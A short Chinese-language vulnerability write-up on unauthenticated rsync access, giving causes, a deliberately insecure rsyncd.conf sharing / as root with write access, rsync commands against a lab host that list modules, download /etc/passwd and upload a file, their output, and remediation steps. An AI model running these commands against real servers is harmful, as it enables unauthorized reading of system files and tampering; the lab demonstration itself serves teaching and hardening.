服务简介
rsync(remote synchronize)是Unix下的一款应用软件,它能同步更新两处电脑的文件与目录,并适当利用差分编码以减少数据传输量。rsync默认使用873端口,使用TCP协议。
产生原因
未配置账号和密码认证。
未对可访问IP做限制。
对非必要路径允许写权限。
漏洞利用
#靶机中/etc/rsyncd.conf配置信息
uid = root
gid = root
use chroot = no
max connections = 5
syslog facility = local5
pid file = /var/run/rsyncd.pid
timeout = 900
ignore nonreadable = yes
dont compress = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2
[test]
read only = no
path = /
comment = test path
rsync 192.168.83.40:: #查看可用模块 rsync 192.168.83.40::test #查看test模块下的文件 rsync 192.168.83.40::test/etc/passwd ./ #下载文件 rsync test.txt 192.168.83.40::test/home/ #上传文件
执行结果:
root@kali:~# rsync 192.168.83.40:: test test path root@kali:~# rsync 192.168.83.40::test dr-xr-xr-x 240 2020/04/27 15:12:07 . lrwxrwxrwx 7 2020/04/01 18:54:56 bin lrwxrwxrwx 7 2020/04/01 18:54:56 lib lrwxrwxrwx 9 2020/04/01 18:54:56 lib64 lrwxrwxrwx 8 2020/04/01 18:54:56 sbin dr-xr-xr-x 4,096 2020/04/01 19:08:31 boot drwxr-xr-x 3,300 2020/04/01 19:07:29 dev drwxr-xr-x 8,192 2020/07/08 22:51:19 etc ...... root@kali:~# rsync 192.168.83.40::test/etc/passwd ./ root@kali:~# cat passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin ...... root@kali:~# rsync test.txt 192.168.83.40::test/tmp/ [root@localhost tmp]# cat test.txt for kali
修复方法
1)配置认证用户名和密码
2)限制ip的访问
3)如非必要,设置为只读权限
4)uid和gid使用低权限账号进行